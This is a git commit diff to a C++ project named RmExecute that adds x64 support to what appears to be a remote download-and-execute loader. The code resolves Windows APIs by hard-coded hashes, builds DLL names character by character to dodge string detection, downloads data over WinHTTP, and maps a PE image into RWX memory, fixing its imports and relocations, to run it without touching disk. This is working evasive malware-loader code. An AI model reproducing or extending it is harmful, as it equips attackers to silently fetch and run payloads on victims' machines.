完成x64支持
This commit is contained in:
parent
6f3ff31ce3
commit
4fa9dd09cb
383
RmExecute/Tool.h
383
RmExecute/Tool.h
|
@ -127,7 +127,19 @@ void RmExecute::Initfunctions(Pfunctions pfn)
|
||||||
pfn->fnLoadLibraryA(szMsvcrt);
|
pfn->fnLoadLibraryA(szMsvcrt);
|
||||||
char szWinhttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', 0 };
|
char szWinhttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', 0 };
|
||||||
pfn->fnLoadLibraryA(szWinhttp);
|
pfn->fnLoadLibraryA(szWinhttp);
|
||||||
|
pfn->fnReleaseActCtx = (pfnReleaseActCtx)GetProcAddressWithHash(HASH_ReleaseActCtx);
|
||||||
|
pfn->fnDeactivateActCtx = (pfnDeactivateActCtx)GetProcAddressWithHash(HASH_DeactivateActCtx);
|
||||||
|
pfn->fnActivateActCtx = (pfnActivateActCtx)GetProcAddressWithHash(HASH_ActivateActCtx);
|
||||||
|
pfn->fnGetProcAddress = (pfnGetProcAddress)GetProcAddressWithHash(HASH_GetProcAddress);
|
||||||
|
pfn->fnVirtualProtect = (pfnVirtualProtect)GetProcAddressWithHash(HASH_VirtualProtect);
|
||||||
|
pfn->fnGetModuleHandleA = (pfnGetModuleHandleA)GetProcAddressWithHash(HASH_GetModuleHandleA);
|
||||||
|
pfn->fnFindResourceA = (pfnFindResourceA)GetProcAddressWithHash(HASH_FindResourceA);
|
||||||
|
pfn->fnLoadResource = (pfnLoadResource)GetProcAddressWithHash(HASH_LoadResource);
|
||||||
|
|
||||||
|
pfn->fnCreateActCtxA = (pfnCreateActCtxA)GetProcAddressWithHash(HASH_CreateActCtxA);
|
||||||
|
|
||||||
|
pfn->fnLockResource = (pfnLockResource)GetProcAddressWithHash(HASH_LockResource);
|
||||||
|
pfn->fnSizeofResource = (pfnSizeofResource)GetProcAddressWithHash(HASH_SizeofResource);
|
||||||
pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);
|
pfn->fnMessageBoxA = (pfnMessageBoxA)GetProcAddressWithHash(HASH_MessageBoxA);
|
||||||
pfn->fnCreateProcessA = (pfnCreateProcessA)GetProcAddressWithHash(HASH_CreateProcessA);
|
pfn->fnCreateProcessA = (pfnCreateProcessA)GetProcAddressWithHash(HASH_CreateProcessA);
|
||||||
pfn->fnGetThreadContext = (pfnGetThreadContext)GetProcAddressWithHash(HASH_GetThreadContext);
|
pfn->fnGetThreadContext = (pfnGetThreadContext)GetProcAddressWithHash(HASH_GetThreadContext);
|
||||||
|
@ -171,188 +183,7 @@ void RmExecute::Initfunctions(Pfunctions pfn)
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header)
|
|
||||||
{
|
|
||||||
PIMAGE_THUNK_DATA thunk;
|
|
||||||
PIMAGE_THUNK_DATA fixup;
|
|
||||||
DWORD iat_rva;
|
|
||||||
SIZE_T iat_size;
|
|
||||||
HMODULE import_base;
|
|
||||||
PIMAGE_IMPORT_DESCRIPTOR import_table =
|
|
||||||
(PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress +
|
|
||||||
(UINT_PTR)dos_header);
|
|
||||||
|
|
||||||
DWORD iat_loc =
|
|
||||||
(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ?
|
|
||||||
IMAGE_DIRECTORY_ENTRY_IAT :
|
|
||||||
IMAGE_DIRECTORY_ENTRY_IMPORT;
|
|
||||||
|
|
||||||
iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress;
|
|
||||||
iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size;
|
|
||||||
|
|
||||||
LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header);
|
|
||||||
DWORD op;
|
|
||||||
VirtualProtect(iat, iat_size, PAGE_READWRITE, &op);
|
|
||||||
__try {
|
|
||||||
while (import_table->Name) {
|
|
||||||
import_base = LoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header));
|
|
||||||
fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
|
|
||||||
if (import_table->OriginalFirstThunk) {
|
|
||||||
thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
|
|
||||||
}
|
|
||||||
|
|
||||||
while (thunk->u1.Function) {
|
|
||||||
PCHAR func_name;
|
|
||||||
if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
|
|
||||||
fixup->u1.Function =
|
|
||||||
(UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
|
|
||||||
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
func_name =
|
|
||||||
(PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header);
|
|
||||||
fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name);
|
|
||||||
}
|
|
||||||
fixup++;
|
|
||||||
thunk++;
|
|
||||||
}
|
|
||||||
import_table++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except (1) {
|
|
||||||
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
//works with manually mapped files
|
|
||||||
HANDLE GetImageActCtx(HMODULE module)
|
|
||||||
{
|
|
||||||
WCHAR temp_path[MAX_PATH];
|
|
||||||
WCHAR temp_filename[MAX_PATH];
|
|
||||||
for (int i = 1; i <= 3; i++) {
|
|
||||||
HRSRC resource_info = FindResource(module, MAKEINTRESOURCE(i), RT_MANIFEST);
|
|
||||||
if (resource_info) {
|
|
||||||
HGLOBAL resource = LoadResource(module, resource_info);
|
|
||||||
DWORD resource_size = SizeofResource(module, resource_info);
|
|
||||||
const PBYTE resource_data = (const PBYTE)LockResource(resource);
|
|
||||||
/*if (resource_data && resource_size) {
|
|
||||||
FILE* fp;
|
|
||||||
errno_t err;
|
|
||||||
DWORD ret_val = GetTempPath(MAX_PATH, temp_path);
|
|
||||||
|
|
||||||
if (0 == GetTempFileName(temp_path, L"manifest.tmp", 0, temp_filename))
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
err = _wfopen_s(&fp, temp_filename, L"w");
|
|
||||||
|
|
||||||
if (errno)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
fprintf(fp, (const char*)resource_data);
|
|
||||||
fclose(fp);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return NULL;
|
|
||||||
}*/
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
ACTCTXW act = { sizeof(act) };
|
|
||||||
act.lpSource = temp_filename;
|
|
||||||
return CreateActCtx(&act);
|
|
||||||
}
|
|
||||||
|
|
||||||
//if base_addr points to a byte stream in memory then load module from that
|
|
||||||
//if base_addr is NULL then attempt to map module into memory from resource
|
|
||||||
//***note if module is memory mapped manually then it has no loaded module handle
|
|
||||||
//and some modules use the module base as the handle for a call and it will fail
|
|
||||||
LPVOID MapImageToMemory(LPVOID base_addr)
|
|
||||||
{
|
|
||||||
LPVOID mem_image_base = NULL;
|
|
||||||
__try {
|
|
||||||
|
|
||||||
PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr;
|
|
||||||
|
|
||||||
HMODULE proc_base = GetModuleHandle(NULL);
|
|
||||||
|
|
||||||
|
|
||||||
if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base);
|
|
||||||
if (IMAGE_NT_SIGNATURE != nt_header->Signature)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
//only 64bit modules will be loaded
|
|
||||||
if (IMAGE_FILE_MACHINE_AMD64 != nt_header->FileHeader.Machine)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
//Not going to bother with .net
|
|
||||||
if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
PIMAGE_SECTION_HEADER section_header =
|
|
||||||
(PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base);
|
|
||||||
|
|
||||||
mem_image_base = VirtualAlloc(
|
|
||||||
(LPVOID)(nt_header->OptionalHeader.ImageBase),
|
|
||||||
nt_header->OptionalHeader.SizeOfImage,
|
|
||||||
MEM_COMMIT | MEM_RESERVE,
|
|
||||||
PAGE_EXECUTE_READWRITE);
|
|
||||||
|
|
||||||
if (NULL == mem_image_base) {
|
|
||||||
mem_image_base = VirtualAlloc(
|
|
||||||
NULL,
|
|
||||||
nt_header->OptionalHeader.SizeOfImage,
|
|
||||||
MEM_COMMIT | MEM_RESERVE,
|
|
||||||
PAGE_EXECUTE_READWRITE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (NULL == mem_image_base)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders);
|
|
||||||
|
|
||||||
for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++) {
|
|
||||||
memcpy(
|
|
||||||
(LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base),
|
|
||||||
(LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base),
|
|
||||||
section_header->SizeOfRawData);
|
|
||||||
section_header++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except (1) {
|
|
||||||
|
|
||||||
}
|
|
||||||
return mem_image_base;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL FixImageRelocations(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header, ULONG_PTR delta)
|
|
||||||
{
|
|
||||||
ULONG_PTR size;
|
|
||||||
PULONG_PTR intruction;
|
|
||||||
PIMAGE_BASE_RELOCATION reloc_block =
|
|
||||||
(PIMAGE_BASE_RELOCATION)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress +
|
|
||||||
(UINT_PTR)dos_header);
|
|
||||||
|
|
||||||
while (reloc_block->VirtualAddress) {
|
|
||||||
size = (reloc_block->SizeOfBlock - sizeof(reloc_block)) / sizeof(WORD);
|
|
||||||
PWORD fixup = (PWORD)((ULONG_PTR)reloc_block + sizeof(reloc_block));
|
|
||||||
for (int i = 0; i < size; i++, fixup++) {
|
|
||||||
if (IMAGE_REL_BASED_DIR64 == *fixup >> 12) {
|
|
||||||
intruction = (PULONG_PTR)(reloc_block->VirtualAddress + (ULONG_PTR)dos_header + (*fixup & 0xfff));
|
|
||||||
*intruction += delta;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
reloc_block = (PIMAGE_BASE_RELOCATION)(reloc_block->SizeOfBlock + (ULONG_PTR)reloc_block);
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
// ÓÃÍêÒ»¶¨Òªfree
|
// ÓÃÍêÒ»¶¨Òªfree
|
||||||
int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) {
|
int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) {
|
||||||
|
|
||||||
|
@ -494,10 +325,186 @@ int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,B
|
||||||
|
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
|
|
||||||
typedef IMAGE_NT_HEADERS64 IMAGE_NT_HEADERS;
|
VOID RmExecute::FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header)
|
||||||
typedef PIMAGE_NT_HEADERS64 PIMAGE_NT_HEADERS;
|
{
|
||||||
typedef IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER;
|
PIMAGE_THUNK_DATA thunk;
|
||||||
typedef PIMAGE_OPTIONAL_HEADER64 PIMAGE_OPTIONAL_HEADER;
|
PIMAGE_THUNK_DATA fixup;
|
||||||
|
DWORD iat_rva;
|
||||||
|
SIZE_T iat_size;
|
||||||
|
HMODULE import_base;
|
||||||
|
PIMAGE_IMPORT_DESCRIPTOR import_table =
|
||||||
|
(PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress +
|
||||||
|
(UINT_PTR)dos_header);
|
||||||
|
|
||||||
|
DWORD iat_loc =
|
||||||
|
(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ?
|
||||||
|
IMAGE_DIRECTORY_ENTRY_IAT :
|
||||||
|
IMAGE_DIRECTORY_ENTRY_IMPORT;
|
||||||
|
|
||||||
|
iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress;
|
||||||
|
iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size;
|
||||||
|
|
||||||
|
LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header);
|
||||||
|
DWORD op;
|
||||||
|
fn.fnVirtualProtect(iat, iat_size, PAGE_READWRITE, &op);
|
||||||
|
__try {
|
||||||
|
while (import_table->Name) {
|
||||||
|
import_base = fn.fnLoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header));
|
||||||
|
fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
|
||||||
|
if (import_table->OriginalFirstThunk) {
|
||||||
|
thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
|
||||||
|
}
|
||||||
|
|
||||||
|
while (thunk->u1.Function) {
|
||||||
|
PCHAR func_name;
|
||||||
|
if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
|
||||||
|
fixup->u1.Function =
|
||||||
|
(UINT_PTR)fn.fnGetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
|
||||||
|
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
func_name =
|
||||||
|
(PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header);
|
||||||
|
fixup->u1.Function = (UINT_PTR)fn.fnGetProcAddress(import_base, func_name);
|
||||||
|
}
|
||||||
|
fixup++;
|
||||||
|
thunk++;
|
||||||
|
}
|
||||||
|
import_table++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except (1) {
|
||||||
|
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
//works with manually mapped files
|
||||||
|
HANDLE RmExecute::GetImageActCtx(HMODULE module)
|
||||||
|
{
|
||||||
|
WCHAR temp_path[MAX_PATH];
|
||||||
|
WCHAR temp_filename[MAX_PATH];
|
||||||
|
for (int i = 1; i <= 3; i++) {
|
||||||
|
HRSRC resource_info = fn.fnFindResourceA(module, MAKEINTRESOURCE(i), RT_MANIFEST);
|
||||||
|
if (resource_info) {
|
||||||
|
HGLOBAL resource = fn.fnLoadResource(module, resource_info);
|
||||||
|
DWORD resource_size = fn.fnSizeofResource(module, resource_info);
|
||||||
|
const PBYTE resource_data = (const PBYTE)fn.fnLockResource(resource);
|
||||||
|
/*if (resource_data && resource_size) {
|
||||||
|
FILE* fp;
|
||||||
|
errno_t err;
|
||||||
|
DWORD ret_val = GetTempPath(MAX_PATH, temp_path);
|
||||||
|
|
||||||
|
if (0 == GetTempFileName(temp_path, L"manifest.tmp", 0, temp_filename))
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
err = _wfopen_s(&fp, temp_filename, L"w");
|
||||||
|
|
||||||
|
if (errno)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
fprintf(fp, (const char*)resource_data);
|
||||||
|
fclose(fp);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return NULL;
|
||||||
|
}*/
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ACTCTXW act = { sizeof(act) };
|
||||||
|
act.lpSource = temp_filename;
|
||||||
|
return fn.fnCreateActCtxA((PCACTCTXA)(&act));
|
||||||
|
}
|
||||||
|
|
||||||
|
//if base_addr points to a byte stream in memory then load module from that
|
||||||
|
//if base_addr is NULL then attempt to map module into memory from resource
|
||||||
|
//***note if module is memory mapped manually then it has no loaded module handle
|
||||||
|
//and some modules use the module base as the handle for a call and it will fail
|
||||||
|
LPVOID RmExecute::MapImageToMemory(LPVOID base_addr)
|
||||||
|
{
|
||||||
|
LPVOID mem_image_base = NULL;
|
||||||
|
|
||||||
|
|
||||||
|
PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr;
|
||||||
|
|
||||||
|
HMODULE proc_base = fn.fnGetModuleHandleA(NULL);
|
||||||
|
|
||||||
|
|
||||||
|
if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base);
|
||||||
|
if (IMAGE_NT_SIGNATURE != nt_header->Signature)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
//only 64bit modules will be loaded
|
||||||
|
if (IMAGE_FILE_MACHINE_AMD64 != nt_header->FileHeader.Machine)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
//Not going to bother with .net
|
||||||
|
if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
PIMAGE_SECTION_HEADER section_header =
|
||||||
|
(PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base);
|
||||||
|
|
||||||
|
mem_image_base = fn.fnVirtualAlloc(
|
||||||
|
(LPVOID)(nt_header->OptionalHeader.ImageBase),
|
||||||
|
nt_header->OptionalHeader.SizeOfImage,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
if (NULL == mem_image_base) {
|
||||||
|
mem_image_base = fn.fnVirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
nt_header->OptionalHeader.SizeOfImage,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_EXECUTE_READWRITE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (NULL == mem_image_base)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
fn.fnmemcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders);
|
||||||
|
|
||||||
|
for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++) {
|
||||||
|
fn.fnmemcpy(
|
||||||
|
(LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base),
|
||||||
|
(LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base),
|
||||||
|
section_header->SizeOfRawData);
|
||||||
|
section_header++;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
return mem_image_base;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL RmExecute::FixImageRelocations(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header, ULONG_PTR delta)
|
||||||
|
{
|
||||||
|
ULONG_PTR size;
|
||||||
|
PULONG_PTR intruction;
|
||||||
|
PIMAGE_BASE_RELOCATION reloc_block =
|
||||||
|
(PIMAGE_BASE_RELOCATION)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress +
|
||||||
|
(UINT_PTR)dos_header);
|
||||||
|
|
||||||
|
while (reloc_block->VirtualAddress) {
|
||||||
|
size = (reloc_block->SizeOfBlock - sizeof(reloc_block)) / sizeof(WORD);
|
||||||
|
PWORD fixup = (PWORD)((ULONG_PTR)reloc_block + sizeof(reloc_block));
|
||||||
|
for (int i = 0; i < size; i++, fixup++) {
|
||||||
|
if (IMAGE_REL_BASED_DIR64 == *fixup >> 12) {
|
||||||
|
intruction = (PULONG_PTR)(reloc_block->VirtualAddress + (ULONG_PTR)dos_header + (*fixup & 0xfff));
|
||||||
|
*intruction += delta;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
reloc_block = (PIMAGE_BASE_RELOCATION)(reloc_block->SizeOfBlock + (ULONG_PTR)reloc_block);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
bool RmExecute::RunPortableExecutable() {
|
bool RmExecute::RunPortableExecutable() {
|
||||||
PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)newbuff);
|
PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)newbuff);
|
||||||
|
@ -514,7 +521,7 @@ bool RmExecute::RunPortableExecutable() {
|
||||||
if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) {
|
if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) {
|
||||||
actctx = GetImageActCtx((HMODULE)image_base);
|
actctx = GetImageActCtx((HMODULE)image_base);
|
||||||
if (actctx)
|
if (actctx)
|
||||||
changed_ctx = ActivateActCtx(actctx, &cookie);
|
changed_ctx = fn.fnActivateActCtx(actctx, &cookie);
|
||||||
}
|
}
|
||||||
|
|
||||||
FixImageIAT(image_base, nt_header);
|
FixImageIAT(image_base, nt_header);
|
||||||
|
@ -532,8 +539,8 @@ bool RmExecute::RunPortableExecutable() {
|
||||||
//CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)oep, NULL, 0, &tid);
|
//CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)oep, NULL, 0, &tid);
|
||||||
|
|
||||||
if (changed_ctx) {
|
if (changed_ctx) {
|
||||||
DeactivateActCtx(0, cookie);
|
fn.fnDeactivateActCtx(0, cookie);
|
||||||
ReleaseActCtx(actctx);
|
fn.fnReleaseActCtx(actctx);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
|
|
|
@ -31,7 +31,50 @@ typedef struct _MY_LDR_DATA_TABLE_ENTRY
|
||||||
//定义函数指针
|
//定义函数指针
|
||||||
|
|
||||||
// Kernel32
|
// Kernel32
|
||||||
|
typedef void (WINAPI* pfnReleaseActCtx)(
|
||||||
|
HANDLE hActCtx
|
||||||
|
);
|
||||||
|
typedef BOOL (WINAPI* pfnDeactivateActCtx)(
|
||||||
|
DWORD dwFlags,
|
||||||
|
ULONG_PTR ulCookie
|
||||||
|
);
|
||||||
|
typedef BOOL (WINAPI* pfnActivateActCtx)(
|
||||||
|
HANDLE hActCtx,
|
||||||
|
ULONG_PTR* lpCookie
|
||||||
|
);
|
||||||
|
typedef FARPROC (WINAPI* pfnGetProcAddress)(
|
||||||
|
HMODULE hModule,
|
||||||
|
LPCSTR lpProcName
|
||||||
|
);
|
||||||
|
typedef BOOL (WINAPI* pfnVirtualProtect)(
|
||||||
|
LPVOID lpAddress,
|
||||||
|
SIZE_T dwSize,
|
||||||
|
DWORD flNewProtect,
|
||||||
|
PDWORD lpflOldProtect
|
||||||
|
);
|
||||||
|
typedef HMODULE (WINAPI* pfnGetModuleHandleA)(
|
||||||
|
LPCSTR lpModuleName
|
||||||
|
);
|
||||||
|
typedef HANDLE (WINAPI* pfnCreateActCtxA)(
|
||||||
|
PCACTCTXA pActCtx
|
||||||
|
);
|
||||||
|
typedef LPVOID (WINAPI* pfnLockResource)(
|
||||||
|
HGLOBAL hResData
|
||||||
|
);
|
||||||
|
typedef DWORD (WINAPI* pfnSizeofResource)(
|
||||||
|
HMODULE hModule,
|
||||||
|
HRSRC hResInfo
|
||||||
|
);
|
||||||
|
typedef HRSRC(WINAPI* pfnFindResourceA)(
|
||||||
|
HMODULE hModule,
|
||||||
|
LPCSTR lpName,
|
||||||
|
LPCSTR lpType
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef HGLOBAL(WINAPI* pfnLoadResource)(
|
||||||
|
HMODULE hModule,
|
||||||
|
HRSRC hResInfo
|
||||||
|
);
|
||||||
typedef LPVOID (WINAPI* pfnVirtualAlloc)(
|
typedef LPVOID (WINAPI* pfnVirtualAlloc)(
|
||||||
LPVOID lpAddress,
|
LPVOID lpAddress,
|
||||||
SIZE_T dwSize,
|
SIZE_T dwSize,
|
||||||
|
@ -192,6 +235,17 @@ typedef BOOL (WINAPI* pfnWinHttpCloseHandle)(
|
||||||
//函数指针结构体
|
//函数指针结构体
|
||||||
typedef struct _FUNCTIONS
|
typedef struct _FUNCTIONS
|
||||||
{
|
{
|
||||||
|
pfnReleaseActCtx fnReleaseActCtx;
|
||||||
|
pfnDeactivateActCtx fnDeactivateActCtx;
|
||||||
|
pfnActivateActCtx fnActivateActCtx;
|
||||||
|
pfnGetProcAddress fnGetProcAddress;
|
||||||
|
pfnVirtualProtect fnVirtualProtect;
|
||||||
|
pfnGetModuleHandleA fnGetModuleHandleA;
|
||||||
|
pfnCreateActCtxA fnCreateActCtxA;
|
||||||
|
pfnLockResource fnLockResource;
|
||||||
|
pfnSizeofResource fnSizeofResource;
|
||||||
|
pfnFindResourceA fnFindResourceA;
|
||||||
|
pfnLoadResource fnLoadResource;
|
||||||
pfnVirtualAlloc fnVirtualAlloc;
|
pfnVirtualAlloc fnVirtualAlloc;
|
||||||
pfnGetModuleFileNameA fnGetModuleFileNameA;
|
pfnGetModuleFileNameA fnGetModuleFileNameA;
|
||||||
pfnCreateProcessA fnCreateProcessA;
|
pfnCreateProcessA fnCreateProcessA;
|
||||||
|
|
|
@ -1,3 +1,15 @@
|
||||||
|
#define HASH_ReleaseActCtx 0x7A558F15
|
||||||
|
#define HASH_DeactivateActCtx 0x64151416
|
||||||
|
#define HASH_ActivateActCtx 0xC3D0940A
|
||||||
|
#define HASH_GetProcAddress 0x7802F749
|
||||||
|
#define HASH_VirtualProtect 0xC38AE110
|
||||||
|
#define HASH_GetModuleHandleA 0xDAD5B06C
|
||||||
|
#define HASH_CreateActCtxA 0x4595146D
|
||||||
|
#define HASH_LockResource 0x0E8BE94B
|
||||||
|
#define HASH_SizeofResource 0x42F9102E
|
||||||
|
#define HASH_FindResourceA 0x6558F55E
|
||||||
|
#define HASH_LoadResource 0x8E8BB14A
|
||||||
|
|
||||||
#define HASH_VirtualAlloc 0xE553A458
|
#define HASH_VirtualAlloc 0xE553A458
|
||||||
#define HASH_GetModuleFileNameA 0xFE61445D
|
#define HASH_GetModuleFileNameA 0xFE61445D
|
||||||
#define HASH_LoadLibraryA 0x0726774C
|
#define HASH_LoadLibraryA 0x0726774C
|
||||||
|
|
Loading…
Reference in New Issue